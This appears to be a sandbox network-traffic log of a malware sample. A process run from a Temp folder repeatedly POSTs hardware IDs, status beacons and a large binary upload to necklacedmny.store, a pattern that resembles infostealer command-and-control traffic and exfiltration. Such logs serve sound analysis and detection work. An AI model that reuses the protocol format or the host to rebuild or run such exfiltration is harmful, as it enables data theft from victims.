2024-10-29 04:03:04 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"10D2EC9223E490A1DA8ADD780D9D7B6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 04:03:07 UTC	1027	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=loka2acgppdknhj86pb4vpvdc0; expires=Fri, 21 Feb 2025 21:49:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MywciujwjyUgEFWuF4VhRR8UZJw%2FmmO3uT%2BI2yvadRW2xXJiWHBSzKLeqEmBudscfYOnmPpwGlXOaSLBYNaf%2B%2F%2F%2Bqv6v2WFm27AF2SXPd52nt5xC4zeIk8Sh%2FzkfZymDcR%2BXLQg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da0460eb874477b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1890&sent=7&recv=18&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13782&delivery_rate=1561185&cwnd=251&unsent_bytes=0&cid=943c36a6bfe649bd&ts=3835&x=0"
2024-10-29 04:03:07 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 04:03:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	50005	188.114.97.3	443	4912	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:08 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-29 04:03:08 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"10D2EC9223E490A1DA8ADD780D9D7B6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 04:03:09 UTC	1020	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nj094kscamhhe0alnn4ikrjjdp; expires=Fri, 21 Feb 2025 21:49:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xfR5eE5JaQ62GzLbK3%2BSp0eCJGfSTnuz9PRQNa87YbONW1FOJN8Wr8UcsM1cgF5yizAS%2Btz0CF4pbG9ooszUG8fC%2FJeuUXh%2FweCp6VemcO0Je%2FhFPPkgARfgQR8XH3JGQmm6Aqc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da0462bea322e1f-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1095&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=16024&delivery_rate=2531468&cwnd=241&unsent_bytes=0&cid=b275e21ef8b45440&ts=579&x=0"
2024-10-29 04:03:09 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 04:03:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	50009	188.114.97.3	443	892	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:09 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1265 Host: necklacedmny.store
2024-10-29 04:03:09 UTC	1265	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"10D2EC9223E490A1DA8ADD780D9D7B6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 04:03:15 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e8lc2th013ooukgmcm1bog4713; expires=Fri, 21 Feb 2025 21:49:48 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GiS4yW%2Bki43Q2kw0GpNC5tuwh80ZQCpHQ20DxyGH0Wk8bFLGTAXcN4P7LmTCVT993D5xfl2CzUATX2UP9rEFDqoUjSY0uCp22588dXF9%2Fx8tDxRNHkbPBa%2FCo6lljy%2FBvNvBfTU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da046304cc245e3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1090&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2184&delivery_rate=2409317&cwnd=251&unsent_bytes=0&cid=d95e022b7ce87cdf&ts=6696&x=0"
2024-10-29 04:03:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 04:03:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	50017	188.114.97.3	443	4912	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:10 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-29 04:03:10 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"10D2EC9223E490A1DA8ADD780D9D7B6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 04:03:10 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-29 04:03:15 UTC	1022	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ma9b7trb0mj1uusla9tb5q81q1; expires=Fri, 21 Feb 2025 21:49:49 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MakK4JNUbU2y3t%2Fp8hiBr71NdqUxD9W%2BPnBLQfbLSjNN0MpiwaEFB1s4ws%2BHT35%2FDuqyw3DrEChBkrT120N4gtfoSsBfMj0CpdKEYZyJZVkPAi%2FtA4S8S4oh3BkpJburYBoN2wE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da04636bacd8d2d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1361&sent=12&recv=25&lost=0&retrans=0&sent_bytes=2845&recv_bytes=21536&delivery_rate=2090974&cwnd=252&unsent_bytes=0&cid=ce16630393846df7&ts=4852&x=0"
2024-10-29 04:03:15 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 04:03:15 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	50026	188.114.97.3	443	1680	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:17 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-29 04:03:17 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-29 04:03:17 UTC	1023	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=o0ot68gn5qjapr82q2j15d3lcp; expires=Fri, 21 Feb 2025 21:49:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nGz9DN%2B8EC%2BdMfbUewoOk0%2BSGQ5%2BeVUq4FPz0erFraVsxxnh5elcRlLnh%2FF8ae3gDZWAPMhZfdnratonbddrRa9wFQf194mLIJjhs2Zdd%2BBackIBT18ES%2FAsRS1%2FL1irOVS9djw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da04663896fe93a-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2108&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1381020&cwnd=248&unsent_bytes=0&cid=c3bf658ba8951f79&ts=375&x=0"
2024-10-29 04:03:17 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-29 04:03:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	50027	188.114.97.3	443	4912	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:17 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1255 Host: necklacedmny.store
2024-10-29 04:03:17 UTC	1255	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"10D2EC9223E490A1DA8ADD780D9D7B6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 04:03:23 UTC	1015	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 04:03:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=m4h04ltu0v1p5n33li9asf9lir; expires=Fri, 21 Feb 2025 21:49:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1gs2LAFspgJHdB0H3NSIipdSwFuXrZDksIspGstAybOysrahUYF7z1AkCL3TGxRHPRXkhyZkdRt8GQNo%2FGXavnACA8VBArPwpqTwT2Z%2FL5GcYsChvr4bWOUw2lITg4KVi%2FrQTSw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da04664cfde6b89-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1233&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2174&delivery_rate=2278520&cwnd=251&unsent_bytes=0&cid=35912126267b896b&ts=6098&x=0"
2024-10-29 04:03:23 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 04:03:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	50029	188.114.97.3	443	892	C:\Users\user\AppData\Local\Temp\1001119001\69de3a997f.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 04:03:18 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 551246 Host: necklacedmny.store
2024-10-29 04:03:18 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 30 44 32 45 43 39 32 32 33 45 34 39 30 41 31 44 41 38 41 44 44 37 38 30 44 39 44 37 42 36 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"10D2EC9223E490A1DA8ADD780D9D7B6B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 04:03:18 UTC	15331	OUT	Data Raw: 80 dd 52 ab 38 2e 6b 7f f8 c9 de bc 3c a9 b8 03 7b fa b1 65 c1 2c 31 ba 87 0e de f4 6d 0c af 99 a6 00 7c 7e cb 17 fc c9 72 67 bd 81 29 9b 5a cc d5 f5 07 e1 b3 52 fd 4d 52 2b ef a6 9a e5 c6 be 19 90 94 66 70 5f 0a 35 14 e1 2d a1 c5 0f bd 16 9a ff d4 f6 8f 61 ac 31 32 56 35 39 08 83 2c 9f 93 99 84 f4 40 48 72 6b 4e db 35 3e 51 74 bf a1 f1 03 e3 f7 21 93 51 64 e5 bb 0e b6 50 9e 01 42 5d e1 ab 51 cb 90 2f 31 3e 21 68 6e b5 70 d5 bd 04 9a 72 2e 78 62 f9 a7 3e f3 7a 43 d3 0c ba 06 9f eb 09 dd 51 ff 81 ef 8b 3d a6 54 8c 4b 0b 0f 28 b1 f7 10 14 08 96 c2 6f 5e 9d b4 4e 14 a0 2c 4d aa 7d 4f 0a 8b ba b0 15 1d 7c 22 72 3f dd eb 4f 99 b2 b6 36 17 54 e8 0a 8e 0c ae 28 32 fa 6e db 23 c1 71 24 f9 30 ce 3f 11 72 77 00 b5 e4 66 08 0e e2 8e 49 8c 52 fc d9 1b 4a 80 76 04 05 Data Ascii: R8.k<{e,1m\|~rg)ZRMR+fp_5-a12V59,@HrkN5>Qt!QdPB]Q/1>!hnpr.xb>zCQ=TK(o^N,M}O\|"r?O6T(2n#q$0?rwfIRJv
2024-10-29 04:03:18 UTC	15331	OUT	Data Raw: 55 ab 44 f9 fa 27 b9 fd c2 f2 13 c1 1b 6d 6e 0a 01 69 65 38 70 af 84 0a b0 c2 12 a8 da 7c c3 74 5c 5a 2a f1 44 98 f3 9e a7 c2 ad 59 1a de d9 b1 75 4f d3 63 ea 28 03 92 de 5e 5c 15 25 a1 ab c7 c9 89 a8 b7 92 85 81 e8 4f c3 94 b8 e8 38 0a 6e 77 1b ea f6 2d 51 9f 50 3e 31 8f 14 19 87 08 37 9b 13 58 61 88 ef 2f e3 82 cb c2 8d 28 ff c4 39 c4 8b 00 25 e5 52 fe 85 da 8e 60 84 be e0 6c 6d 06 43 62 6b 55 df 78 46 e9 f7 68 95 f1 58 6d 85 f2 54 6f 82 0a 3e 3b 2e 02 53 ba ed d6 46 ac 67 56 b2 33 06 b3 be 15 a4 9a 2a cc 2d 0a 1e 69 89 64 b9 2f fc c6 09 1f 89 b4 b4 9b c8 a9 68 d3 8e 5b e3 34 b1 dc 0b 9a 66 f8 e6 9a c7 8d af dc 0e 0f 6d ae 1f 59 f7 35 a5 05 88 b6 c9 a5 46 dc ee 5d d5 22 7f f5 25 b6 19 76 84 cb 32 cf d5 e4 21 da 71 13 92 99 d2 3e 82 d5 a7 da b2 d0 5d 21 Data Ascii: UD'mnie8p\|t\ZDYuOc(^\%O8nw-QP>17Xa/(9%R`lmCbkUxFhXmTo>;.SFgV3-id/h[4fmY5F]"%v2!q>]!
2024-10-29 04:03:18 UTC	15331	OUT	Data Raw: 11 46 4f 9b 38 a2 31 4b ee 44 b9 fa cd 83 b7 04 18 3a 72 67 7f f8 7d 49 33 fe ef 9d ad 10 43 2f 3a a8 ef f9 1c ff 8f 10 42 07 98 53 47 7e 46 61 ab 00 0f ce e1 ed 30 80 77 e7 90 c7 d2 9d c9 d9 ff f7 ec f0 53 a0 eb 0c d2 82 61 e4 a6 01 bd 3b fd 2a b0 76 c7 37 b4 f3 81 f8 59 ef 0e 9d be 48 b7 62 b1 97 af d2 03 5a 2c d0 e4 7f 60 0f e1 38 09 78 8f 4b 58 a9 2a 90 3a 2f ca e8 fc f3 84 ce d8 3e 0c 3b 12 6c 8a 71 7e a7 6d 9a f0 80 87 0f 65 1a a9 93 eb 87 23 a8 ff fd f1 9b 52 38 ff 4f 4e 84 18 df cd 24 33 d8 21 10 08 92 19 bf 02 55 19 65 a5 f4 a4 1b a4 0a d4 f4 45 ea 37 01 46 ba 84 38 1a 4e 7e 1c 47 e0 44 97 88 ad fc b6 0a 3f ea d1 c7 fb 15 e7 48 6d dc d5 8c df d3 ac bc 52 a7 95 a5 98 38 92 e4 92 8e 0e ef 33 3d 58 89 66 67 e3 d7 56 1c d7 84 05 76 0b e6 17 90 f5 b0 Data Ascii: FO81KD:rg}I3C/:BSG~Fa0wSa;v7YHbZ,`8xKX:/>;lq~me#R8ON$3!UeE7F8N~GD?HmR83=XfgVv
2024-10-29 04:03:18 UTC	15331	OUT	Data Raw: 1d d4 87 af e2 5f f9 6f 15 83 a8 ef ce 81 9c ee 2e b5 a1 f4 40 b6 5f 1a cb 6a cd e4 ec 25 72 d5 a6 df 9a 3e 1e 3f 71 9c f3 ee fc 1c 9f 14 fe 00 9e 8e e0 55 16 ce f5 6d 78 73 d8 8d 34 24 27 f1 b1 1b e2 4d 93 99 46 1f 14 ea aa 17 47 3a 2b 02 25 7f 9f 51 66 28 88 bc 02 74 3c c7 4f 3b 33 3a ac 43 c3 03 42 5e 72 4c 08 e2 78 03 25 26 b6 f8 06 19 45 0e c5 b1 84 fd 76 c6 11 c8 8f 1d 97 b7 3b 46 4c 2a 30 90 15 da b7 e7 1c cb fd d4 09 2f 31 1d b1 ed 9f cb 27 35 31 f7 e5 42 ef fc 3b 9d e4 3e 33 43 4a 5b 93 dc 4c f4 c6 ef 03 e7 3e 38 35 19 77 1e 04 2f 0f 27 79 f2 71 96 fa 60 6d ed d3 88 56 c4 35 85 60 c3 b4 2f ca fd dd 10 a2 c5 39 75 7c 50 31 f4 f2 bf b7 a0 0a 0b 9f 8b 0b 59 67 5d 02 71 a5 10 83 00 7f 0d c4 58 42 20 75 8e 51 68 93 79 41 42 d7 e8 07 94 59 fb 61 66 73 Data Ascii: _o.@_j%r>?qUmxs4$'MFG:+%Qf(t<O;3:CB^rLx%&Ev;FL*0/1'51B;>3CJ[L>85w/'yq`mV5`/9u\|P1Yg]qXB uQhyABYafs
